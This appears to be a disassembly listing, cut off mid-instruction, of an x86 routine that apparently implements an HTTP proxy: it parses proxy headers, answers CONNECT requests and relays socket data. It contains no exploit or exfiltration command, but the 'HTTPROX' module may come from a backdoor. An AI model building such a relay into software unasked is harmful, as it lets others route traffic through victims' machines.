mov byte ptr [esp+54A4h], 7 call sub_401FDC lea ecx, [esp+170h] mov byte ptr [esp+54A0h], 6 call sub_401226 lea ecx, [esp+128h] mov byte ptr [esp+54A0h], 2 call sub_401226 push offset asc_444600 ; " " lea eax, [esp+27Ch] push 1 push eax lea ecx, [esp+3Ch] call sub_4016B8 push offset asc_444C7C ; ":" lea ecx, [esp+1A4h] push 1 push ecx mov ecx, eax mov byte ptr [esp+54ACh], 8 call sub_4016B8 mov ecx, eax mov byte ptr [esp+54A0h], 9 call sub_4017EE test eax, eax lea ecx, [esp+1A0h] mov byte ptr [esp+54A0h], 8 setz bl call sub_401226 lea ecx, [esp+278h] mov byte ptr [esp+54A0h], 2 call sub_401226 test bl, bl jnz loc_42A5EF push offset asc_444600 ; " " lea edx, [esp+264h] push 1 push edx lea ecx, [esp+3Ch] call sub_4016B8 push offset asc_444C7C ; ":" lea ecx, [esp+1D4h] push 1 push ecx mov ecx, eax mov byte ptr [esp+54ACh], 0Ah call sub_4016B8 mov ecx, eax mov byte ptr [esp+54A0h], 0Bh call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+1D0h] mov [esp+10Ch], eax mov byte ptr [esp+54A0h], 0Ah call sub_401226 lea ecx, [esp+260h] mov byte ptr [esp+54A0h], 2 call sub_401226 mov eax, [esp+10Ch] test eax, eax jnz short loc_42995A mov dword ptr [esp+10Ch], 50h loc_42995A: ; CODE XREF: ___:00429760j ; ___:004297ACj ... push offset asc_444600 ; " " lea edx, [esp+4Ch] push 0 push edx lea ecx, [esp+3Ch] call sub_4016B8 push offset byte_448F40 lea ecx, [esp+4Ch] mov byte ptr [esp+54A4h], 0Ch call sub_4012EE test eax, eax jz loc_42A5DE push offset asc_444600 ; " " lea eax, [esp+64h] push 2 push eax lea ecx, [esp+3Ch] call sub_4016B8 push offset byte_448F40 lea ecx, [esp+64h] mov byte ptr [esp+54A4h], 0Dh call sub_4012EE test eax, eax jz loc_42A5CD lea ecx, [esp+0CDh] push ecx lea ecx, [esp+8Ch] call sub_4014D3 mov ecx, 1000h xor eax, eax lea edi, [esp+498h] or ebx, 0FFFFFFFFh rep stosd mov edi, offset aHttprox ; "HTTPROX" mov ecx, ebx repne scasb not ecx sub edi, ecx lea edx, [esp+4498h] mov eax, ecx mov esi, edi mov edi, edx mov byte ptr [esp+54A0h], 0Eh shr ecx, 2 rep movsd mov ecx, eax lea eax, [esp+4498h] and ecx, 3 rep movsb mov esi, offset asc_4471FC ; "\r\n" loc_429A21: ; CODE XREF: ___:00429A3Fj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_429A45 test cl, cl jz short loc_429A41 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_429A45 add eax, 2 add esi, 2 test cl, cl jnz short loc_429A21 loc_429A41: ; CODE XREF: ___:00429A2Bj xor eax, eax jmp short loc_429A49 ; --------------------------------------------------------------------------- loc_429A45: ; CODE XREF: ___:00429A27j ; ___:00429A35j sbb eax, eax sbb eax, ebx loc_429A49: ; CODE XREF: ___:00429A43j test eax, eax jz loc_429B23 mov edi, dword_511AD8 loc_429A57: ; CODE XREF: ___:00429B1Dj mov esi, offset byte_448F40 lea eax, [esp+4498h] loc_429A63: ; CODE XREF: ___:00429A81j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_429A87 test cl, cl jz short loc_429A83 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_429A87 add eax, 2 add esi, 2 test cl, cl jnz short loc_429A63 loc_429A83: ; CODE XREF: ___:00429A6Dj xor eax, eax jmp short loc_429A8B ; --------------------------------------------------------------------------- loc_429A87: ; CODE XREF: ___:00429A69j ; ___:00429A77j sbb eax, eax sbb eax, ebx loc_429A8B: ; CODE XREF: ___:00429A85j test eax, eax jz loc_429B23 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+449Ch] push 1000h push eax push ecx call sub_401280 add esp, 10h test al, al jz loc_42A629 lea edx, [esp+4498h] push 4000h lea eax, [esp+49Ch] push edx push eax call edi push 4000h lea ecx, [esp+4A8h] push offset asc_4471FC ; "\r\n" push ecx call edi add esp, 18h mov esi, offset asc_4471FC ; "\r\n" lea eax, [esp+4498h] loc_429AF3: ; CODE XREF: ___:00429B11j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_429B17 test cl, cl jz short loc_429B13 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_429B17 add eax, 2 add esi, 2 test cl, cl jnz short loc_429AF3 loc_429B13: ; CODE XREF: ___:00429AFDj xor eax, eax jmp short loc_429B1B ; --------------------------------------------------------------------------- loc_429B17: ; CODE XREF: ___:00429AF9j ; ___:00429B07j sbb eax, eax sbb eax, ebx loc_429B1B: ; CODE XREF: ___:00429B15j test eax, eax jnz loc_429A57 loc_429B23: ; CODE XREF: ___:00429A4Bj ; ___:00429A8Dj mov esi, dword_511B04 lea eax, [esp+498h] push offset aProxyConnectio ; "Proxy-Connection:" push eax call esi add esp, 8 test eax, eax jz short loc_429B77 push offset asc_444C7C ; ":" push eax call esi add esp, 8 inc eax jz short loc_429B77 cmp byte ptr [eax], 20h jnz short loc_429B5B loc_429B52: ; CODE XREF: ___:00429B59j mov cl, [eax+1] inc eax cmp cl, 20h jz short loc_429B52 loc_429B5B: ; CODE XREF: ___:00429B50j push offset aKeepAlive ; "Keep-Alive" push eax nop call near ptr 77C4624Eh add esp, 8 test eax, eax jz short loc_429B77 mov byte ptr [ebp+0BAh], 1 jmp short loc_429B7E ; --------------------------------------------------------------------------- loc_429B77: ; CODE XREF: ___:00429B3Dj ; ___:00429B4Bj ... mov byte ptr [ebp+0BAh], 0 loc_429B7E: ; CODE XREF: ___:00429B75j cmp [ebp+0BFh], ebx jnz loc_429C16 push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, ebx mov [ebp+0BFh], eax jz loc_42A6FD mov edx, [esp+10Ch] xor ecx, ecx mov [esp+78h], ecx push edx mov [esp+80h], ecx mov word ptr [esp+7Ch], 2 mov [esp+84h], ecx mov [esp+88h], ecx nop call near ptr 71AB2B66h lea ecx, [esp+0CDh] mov [esp+7Ah], ax call sub_4017EE push eax call sub_40188E add esp, 4 cmp eax, ebx mov [esp+7Ch], eax jz loc_42A63B mov ecx, [ebp+0BFh] lea eax, [esp+78h] push 10h push eax push ecx call near ptr 71AB406Ah nop cmp eax, ebx jz loc_42A698 loc_429C16: ; CODE XREF: ___:00429B84j mov al, [esp+13h] test al, al jz loc_42A2BE mov al, [ebp+0BAh] test al, al jz short loc_429C61 lea edx, [esp+498h] lea ecx, [esp+60h] push edx call sub_4017EE push eax lea ecx, [esp+118h] call sub_4017EE push eax lea ecx, [esp+54h] call sub_4017EE push eax lea eax, [esp+24h] push offset aSSSConnectionK ; "%s %s %s\r\nConnection: Keep-Alive\r\n%s" push eax jmp short loc_429C94 ; --------------------------------------------------------------------------- loc_429C61: ; CODE XREF: ___:00429C2Aj lea ecx, [esp+498h] push ecx lea ecx, [esp+64h] call sub_4017EE push eax lea ecx, [esp+118h] call sub_4017EE push eax lea ecx, [esp+54h] call sub_4017EE push eax lea edx, [esp+24h] push offset aSSSConnectionC ; "%s %s %s\r\nConnection: close\r\n%s" push edx loc_429C94: ; CODE XREF: ___:00429C5Fj call sub_40102D add esp, 18h lea ecx, [esp+14h] push 0 call sub_4013E3 push eax lea ecx, [esp+1Ch] call sub_4017EE push eax mov eax, [ebp+0BFh] push eax call near ptr 71AB428Ah nop test eax, eax jz loc_42A6E2 cmp eax, ebx jz loc_42A6E2 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+49Ch] push 4000h push ecx push edx call sub_401280 add esp, 10h test al, al jz loc_42A70F mov edi, offset asc_4471FC ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+498h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+49Ch] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+49Ch] push ecx mov ecx, [ebp+0BBh] push eax push ecx call near ptr 71AB428Ah nop xor ebx, ebx mov esi, offset asc_4471FC ; "\r\n" mov [esp+2Ch], ebx lea eax, [esp+498h] loc_429D5E: ; CODE XREF: ___:00429D7Cj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_429D82 test cl, cl jz short loc_429D7E mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_429D82 add eax, 2 add esi, 2 test cl, cl jnz short loc_429D5E loc_429D7E: ; CODE XREF: ___:00429D68j xor eax, eax jmp short loc_429D87 ; --------------------------------------------------------------------------- loc_429D82: ; CODE XREF: ___:00429D64j ; ___:00429D72j sbb eax, eax sbb eax, 0FFFFFFFFh loc_429D87: ; CODE XREF: ___:00429D80j test eax, eax jz loc_42A109 loc_429D8F: ; CODE XREF: ___:0042A0F8j mov esi, offset byte_448F40 lea eax, [esp+498h] loc_429D9B: ; CODE XREF: ___:00429DBDj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_429DC3 test cl, cl jz short loc_429DBF mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_429DC3 add eax, 2 add esi, 2 test cl, cl jnz short loc_429D9B loc_429DBF: ; CODE XREF: ___:00429DA7j xor eax, eax jmp short loc_429DC8 ; --------------------------------------------------------------------------- loc_429DC3: ; CODE XREF: ___:00429DA3j ; ___:00429DB3j sbb eax, eax sbb eax, 0FFFFFFFFh loc_429DC8: ; CODE XREF: ___:00429DC1j test eax, eax jz loc_42A105 mov ecx, [ebp+0BFh] push 0 lea eax, [esp+49Ch] push 4000h push eax push ecx call sub_401280 add esp, 10h test al, al jz loc_42A100 lea edx, [esp+498h] lea ecx, [esp+0A0h] push edx call sub_401870 push offset asc_444600 ; " " lea eax, [esp+204h] push 0 push eax lea ecx, [esp+0ACh] mov byte ptr [esp+54ACh], 0Fh call sub_4016B8 push offset aContentLength ; "Content-Length:" mov ecx, eax mov byte ptr [esp+54A4h], 10h call sub_40150A test eax, eax lea ecx, [esp+200h] mov byte ptr [esp+54A0h], 0Fh setz bl call sub_401226 test bl, bl jz short loc_429EAA push offset asc_444600 ; " " lea ecx, [esp+144h] push 1 push ecx lea ecx, [esp+0ACh] call sub_4016B8 mov ecx, eax mov byte ptr [esp+54A0h], 11h call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+140h] mov [esp+2Ch], eax mov byte ptr [esp+54A0h], 0Fh call sub_401226 loc_429EAA: ; CODE XREF: ___:00429E5Cj push offset asc_444600 ; " " lea edx, [esp+15Ch] push 0 push edx lea ecx, [esp+0ACh] call sub_4016B8 push offset aTransferEncodi ; "Transfer-Encoding:" mov ecx, eax mov byte ptr [esp+54A4h], 12h call sub_40150A test eax, eax lea ecx, [esp+158h] mov byte ptr [esp+54A0h], 0Fh setz bl call sub_401226 test bl, bl jz short loc_429F39 push offset asc_444600 ; " " lea eax, [esp+18Ch] push 1 push eax lea ecx, [esp+0ACh] call sub_4016B8 push offset aChunked ; "chunked" mov ecx, eax mov byte ptr [esp+54A4h], 13h call sub_40150A lea ecx, [esp+188h] mov byte ptr [esp+54A0h], 0Fh call sub_401226 loc_429F39: ; CODE XREF: ___:00429EF4j push offset asc_444600 ; " " lea ecx, [esp+1BCh] push 0 push ecx lea ecx, [esp+0ACh] call sub_4016B8 push offset aConnection ; "Connection:" mov ecx, eax mov byte ptr [esp+54A4h], 14h call sub_40150A test eax, eax lea ecx, [esp+1B8h] mov byte ptr [esp+54A0h], 0Fh setz bl call sub_401226 test bl, bl jz short loc_429FD4 push offset asc_444600 ; " " lea edx, [esp+1ECh] push 1 push edx lea ecx, [esp+0ACh] call sub_4016B8 push offset aKeepAlive ; "Keep-Alive" mov ecx, eax mov byte ptr [esp+54A4h], 15h call sub_40150A test eax, eax lea ecx, [esp+1E8h] mov byte ptr [esp+54A0h], 0Fh setz bl call sub_401226 test bl, bl setnz byte ptr [esp+11h] loc_429FD4: ; CODE XREF: ___:00429F83j mov esi, offset asc_4471FC ; "\r\n" lea eax, [esp+498h] loc_429FE0: ; CODE XREF: ___:0042A002j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42A008 test cl, cl jz short loc_42A004 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42A008 add eax, 2 add esi, 2 test cl, cl jnz short loc_429FE0 loc_42A004: ; CODE XREF: ___:00429FECj xor eax, eax jmp short loc_42A00D ; --------------------------------------------------------------------------- loc_42A008: ; CODE XREF: ___:00429FE8j ; ___:00429FF8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42A00D: ; CODE XREF: ___:0042A006j test eax, eax jz loc_42A0A9 mov esi, offset byte_448F40 lea eax, [esp+498h] loc_42A021: ; CODE XREF: ___:0042A043j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42A049 test cl, cl jz short loc_42A045 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42A049 add eax, 2 add esi, 2 test cl, cl jnz short loc_42A021 loc_42A045: ; CODE XREF: ___:0042A02Dj xor eax, eax jmp short loc_42A04E ; --------------------------------------------------------------------------- loc_42A049: ; CODE XREF: ___:0042A029j ; ___:0042A039j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42A04E: ; CODE XREF: ___:0042A047j test eax, eax jz short loc_42A0A9 mov edi, offset asc_4471FC ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+498h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+49Ch] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+49Ch] push ecx mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah loc_42A0A9: ; CODE XREF: ___:0042A00Fj ; ___:0042A050j lea ecx, [esp+0A0h] mov byte ptr [esp+54A0h], 0Eh call sub_401226 mov esi, offset asc_4471FC ; "\r\n" lea eax, [esp+498h] loc_42A0C9: ; CODE XREF: ___:0042A0EBj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42A0F1 test cl, cl jz short loc_42A0ED mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42A0F1 add eax, 2 add esi, 2 test cl, cl jnz short loc_42A0C9 loc_42A0ED: ; CODE XREF: ___:0042A0D5j xor eax, eax jmp short loc_42A0F6 ; --------------------------------------------------------------------------- loc_42A0F1: ; CODE XREF: ___:0042A0D1j ; ___:0042A0E1j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42A0F6: ; CODE XREF: ___:0042A0EFj test eax, eax jnz loc_429D8F jmp short loc_42A105 ; --------------------------------------------------------------------------- loc_42A100: ; CODE XREF: ___:00429DF0j mov byte ptr [esp+12h], 1 loc_42A105: ; CODE XREF: ___:00429DCAj ; ___:0042A0FEj mov ebx, [esp+2Ch] loc_42A109: ; CODE XREF: ___:00429D89j mov al, [esp+11h] push 0 test al, al jz short loc_42A131 mov edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n" or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [ebp+0BBh] not ecx dec ecx push ecx push offset aConnectionKeep ; "Connection: Keep-Alive\r\n" push eax jmp short loc_42A14D ; --------------------------------------------------------------------------- loc_42A131: ; CODE XREF: ___:0042A111j mov edi, offset aConnectionClos ; "Connection: Close\r\n" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, [ebp+0BBh] push offset aConnectionClos ; "Connection: Close\r\n" push ecx loc_42A14D: ; CODE XREF: ___:0042A12Fj nop call near ptr 71AB428Ah mov edi, offset asc_4471FC ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+498h] repne scasb not ecx sub edi, ecx push 0 mov eax, ecx mov esi, edi mov edi, edx mov edx, [ebp+0BBh] shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb lea edi, [esp+49Ch] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx lea ecx, [esp+4A0h] push ecx push edx call near ptr 71AB428Ah nop test ebx, ebx jz loc_42A27C xor edi, edi test ebx, ebx jle short loc_42A204 loc_42A1B3: ; CODE XREF: ___:0042A202j mov eax, ebx sub eax, edi cmp eax, 4000h jbe short loc_42A204 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+49Ch] push 4000h push ecx push edx nop call near ptr 71AB615Ah mov esi, eax cmp esi, 1 jl short loc_42A204 cmp esi, 0FFFFFFFFh jz short loc_42A204 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+49Ch] push esi push eax push ecx nop call near ptr 71AB428Ah add edi, esi cmp edi, ebx jl short loc_42A1B3 loc_42A204: ; CODE XREF: ___:0042A1B1j ; ___:0042A1BCj ... mov eax, ebx sub eax, edi jz short loc_42A24E loc_42A20A: ; CODE XREF: ___:0042A24Cj push 0 push eax mov eax, [ebp+0BFh] lea edx, [esp+4A0h] push edx push eax nop call near ptr 71AB615Ah mov esi, eax cmp esi, 1 jl short loc_42A24E cmp esi, 0FFFFFFFFh jz short loc_42A24E mov edx, [ebp+0BBh] push 0 lea ecx, [esp+49Ch] push esi push ecx push edx nop call near ptr 71AB428Ah add edi, esi mov eax, ebx sub eax, edi jnz short loc_42A20A loc_42A24E: ; CODE XREF: ___:0042A208j ; ___:0042A227j ... mov al, [ebp+0BAh] test al, al jnz loc_42A4DF mov ecx, [ebp+0BBh] push ecx nop call near ptr 71AB9639h or esi, 0FFFFFFFFh mov byte ptr [esp+12h], 1 mov [ebp+0BBh], esi jmp loc_42A4E2 ; --------------------------------------------------------------------------- loc_42A27C: ; CODE XREF: ___:0042A1A7j mov esi, dword_511CA4 loc_42A282: ; CODE XREF: ___:0042A2BCj mov ecx, [ebp+0BFh] push 0 lea eax, [esp+49Ch] push 4000h push eax push ecx call esi cmp eax, 1 jl short loc_42A24E cmp eax, 0FFFFFFFFh jz short loc_42A24E push 0 push eax mov eax, [ebp+0BBh] lea edx, [esp+4A0h] push edx push eax nop call near ptr 71AB428Ah jmp short loc_42A282 ; --------------------------------------------------------------------------- loc_42A2BE: ; CODE XREF: ___:00429C1Cj lea ecx, [esp+14h] push offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"... push ecx call sub_40102D add esp, 8 lea ecx, [esp+14h] push 0 call sub_4013E3 push eax lea ecx, [esp+1Ch] call sub_4017EE mov edx, [ebp+0BBh] push eax push edx call near ptr 71AB428Ah nop test eax, eax jz loc_42A782 cmp eax, ebx jz loc_42A782 mov ebx, dword_511CA4 mov eax, [ebp+0BBh] mov edx, [ebp+0BFh] mov [esp+294h], eax mov dword ptr [esp+290h], 1 xor eax, eax lea ecx, [esp+294h] loc_42A330: ; CODE XREF: ___:0042A33Bj cmp [ecx], edx jz short loc_42A33D inc eax add ecx, 4 cmp eax, 1 jb short loc_42A330 loc_42A33D: ; CODE XREF: ___:0042A332j cmp eax, 1 jnz short loc_42A354 mov [esp+298h], edx mov dword ptr [esp+290h], 2 loc_42A354: ; CODE XREF: ___:0042A340j mov ecx, 1000h xor eax, eax lea edi, [esp+498h] push eax rep stosd push eax lea ecx, [esp+298h] push eax push ecx push eax nop call near ptr 71AB2DC0h mov eax, [ebp+0BBh] lea edx, [esp+290h] push edx push eax call sub_438256 ; --------------------------------------------------------------------------- dw 0C085h dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h dd 0A024848Dh, 50000004h, 0C3E89051h, 8371689Eh, 840FFFF8h dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h dd 0DE72h, 4274C085h, 0BF958Bh, 6A0000h, 9C248C8Dh, 68000004h dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh dd 6A000000h, 848D5000h, 4A024h, 90515000h, 689E69E8h dd 0FFF88371h, 0FE24840Fh, 3D8BFFFFh, 5118D8h, 0D7FF056Ah dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 0F07EE890h, 333D7168h dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh dd 1CA03D8Bh, 6A0051h, 9C248C8Dh, 56000004h, 0D7FF5251h dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 68F02BE8h, 333D9071h dd 75000027h, 90016A0Dh, 407827E8h, 0FE43E902h, 858BFFFFh dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_42A4DF: ; CODE XREF: ___:0042A256j or esi, 0FFFFFFFFh loc_42A4E2: ; CODE XREF: ___:0042A277j mov al, [esp+11h] test al, al jnz short loc_42A502 mov edx, [ebp+0BFh] push edx nop call near ptr 71AB9639h mov [ebp+0BFh], esi mov byte ptr [esp+12h], 1 loc_42A502: ; CODE XREF: ___:0042A4E8j lea ecx, [esp+88h] mov byte ptr [esp+54A0h], 0Dh call sub_401226 lea ecx, [esp+60h] mov byte ptr [esp+54A0h], 0Ch call sub_401226 lea ecx, [esp+48h] mov byte ptr [esp+54A0h], 2 call sub_401226 lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], esi call sub_4014BA or esi, 0FFFFFFFFh loc_42A570: ; CODE XREF: ___:0042969Bj mov al, [esp+12h] test al, al jz loc_4295E8 loc_42A57C: ; CODE XREF: ___:0042A624j ; ___:0042A77Dj mov al, [ebp+0BAh] test al, al jz short loc_42A599 mov eax, [ebp+0BBh] push eax nop call near ptr 71AB9639h mov [ebp+0BBh], esi loc_42A599: ; CODE XREF: ___:0042A584j mov al, [esp+11h] test al, al jz short loc_42A5B4 mov ecx, [ebp+0BFh] push ecx nop call near ptr 71AB9639h mov [ebp+0BFh], esi loc_42A5B4: ; CODE XREF: ___:0042A59Fj ; ___:0042A805j mov ecx, [esp+5498h] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 5494h retn ; --------------------------------------------------------------------------- loc_42A5CD: ; CODE XREF: ___:004299BAj lea ecx, [esp+60h] mov byte ptr [esp+54A0h], 0Ch call sub_401226 loc_42A5DE: ; CODE XREF: ___:00429987j lea ecx, [esp+48h] mov byte ptr [esp+54A0h], 2 call sub_401226 loc_42A5EF: ; CODE XREF: ___:00429741j ; ___:0042975Aj ... lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 loc_42A600: ; CODE XREF: ___:00429635j lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], esi call sub_4014BA jmp loc_42A57C ; --------------------------------------------------------------------------- loc_42A629: ; CODE XREF: ___:00429AB3j mov eax, [ebp+0BBh] push eax call near ptr 71AB9639h nop jmp loc_42A79A ; --------------------------------------------------------------------------- loc_42A63B: ; CODE XREF: ___:00429BF4j lea ecx, [esp+0CDh] call sub_4017EE push eax lea ecx, [esp+18h] push offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"... push ecx call sub_40102D add esp, 0Ch lea ecx, [esp+14h] push 0 call sub_4013E3 push eax lea ecx, [esp+1Ch] call sub_4017EE mov edx, [ebp+0BBh] push eax push edx nop call near ptr 71AB428Ah mov eax, [ebp+0BBh] mov esi, dword_511C9C push eax call esi mov ecx, [ebp+0BFh] push ecx jmp loc_42A798 ; --------------------------------------------------------------------------- loc_42A698: ; CODE XREF: ___:00429C10j mov edx, [esp+10Ch] lea ecx, [esp+0CDh] push edx call sub_4017EE push eax lea eax, [esp+1Ch] push offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"... push eax call sub_40102D add esp, 10h lea ecx, [esp+14h] push 0 call sub_4013E3 push eax lea ecx, [esp+1Ch] call sub_4017EE mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah loc_42A6E2: ; CODE XREF: ___:00429CC1j ; ___:00429CC9j mov edx, [ebp+0BBh] mov esi, dword_511C9C push edx call esi mov eax, [ebp+0BFh] push eax jmp loc_42A798 ; --------------------------------------------------------------------------- loc_42A6FD: ; CODE XREF: ___:00429B9Ej mov ecx, [ebp+0BBh] push ecx nop call near ptr 71AB9639h jmp loc_42A79A ; --------------------------------------------------------------------------- loc_42A70F: ; CODE XREF: ___:00429CEFj lea ecx, [esp+88h] mov byte ptr [esp+54A0h], 0Dh call sub_401226 lea ecx, [esp+60h] mov byte ptr [esp+54A0h], 0Ch call sub_401226 lea ecx, [esp+48h] mov byte ptr [esp+54A0h], 2 call sub_401226 lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], ebx call sub_4014BA or esi, 0FFFFFFFFh jmp loc_42A57C ; --------------------------------------------------------------------------- loc_42A782: ; CODE XREF: ___:0042A2F5j ; ___:0042A2FDj mov ecx, [ebp+0BBh] mov esi, dword_511C9C push ecx call esi mov edx, [ebp+0BFh] push edx loc_42A798: ; CODE XREF: ___:0042A693j ; ___:0042A6F8j call esi loc_42A79A: ; CODE XREF: ___:0042A636j ; ___:0042A70Aj lea ecx, [esp+88h] mov byte ptr [esp+54A0h], 0Dh call sub_401226 lea ecx, [esp+60h] mov byte ptr [esp+54A0h], 0Ch call sub_401226 lea ecx, [esp+48h] mov byte ptr [esp+54A0h], 2 call sub_401226 lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], ebx call sub_4014BA jmp loc_42A5B4 ; --------------------------------------------------------------------------- db 6 dup(90h) db 4A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42ACB0 proc near ; CODE XREF: sub_4018EDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42ACB0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset aHttp_0 ; "HTTP" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F15C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42ACB0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42AD20: ; CODE XREF: ___:loc_40112Cj ; ___:0040128Fj push esi mov esi, ecx call sub_402126 test byte ptr [esp+8], 1 jz short loc_42AD38 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42AD38: ; CODE XREF: ___:0042AD2Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AD50 proc near ; CODE XREF: sub_402126j push esi mov esi, ecx mov eax, [esi+9Eh] mov dword ptr [esi], offset off_43F15C cmp eax, 0FFFFFFFFh jz short loc_42AD6B push eax nop call near ptr 71AB9639h loc_42AD6B: ; CODE XREF: sub_42AD50+12j mov ecx, esi call sub_4017A8 pop esi retn sub_42AD50 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AD90 proc near ; CODE XREF: sub_4010E1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42AD90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push edi mov edi, ecx mov dword ptr [edi+9Eh], 0FFFFFFFFh loc_42ADB3: ; CODE XREF: sub_42AD90+48j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_42ADDA mov ecx, [edi+3Bh] push ecx call sub_40198D add esp, 4 cmp eax, 0FFFFFFFFh mov [edi+9Eh], eax jz short loc_42ADB3 loc_42ADDA: ; CODE XREF: sub_42AD90+31j mov edx, [edi+99h] mov al, [edx+11Ch] test al, al jz loc_42AEAC push ebp push esi loc_42ADF0: ; CODE XREF: sub_42AD90+114j mov eax, [edi+9Eh] push eax call sub_4012DF mov ebp, eax add esp, 4 cmp ebp, 0FFFFFFFFh jz loc_42AE8B test ebp, ebp jz short loc_42AE8B push 0C3h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+1Ch+var_10], eax test eax, eax mov [esp+1Ch+var_4], 0 jz short loc_42AE36 mov ecx, eax call sub_401893 mov esi, eax jmp short loc_42AE38 ; --------------------------------------------------------------------------- loc_42AE36: ; CODE XREF: sub_42AD90+99j xor esi, esi loc_42AE38: ; CODE XREF: sub_42AD90+A4j mov ecx, [edi+99h] mov [esi+9Dh], edi mov 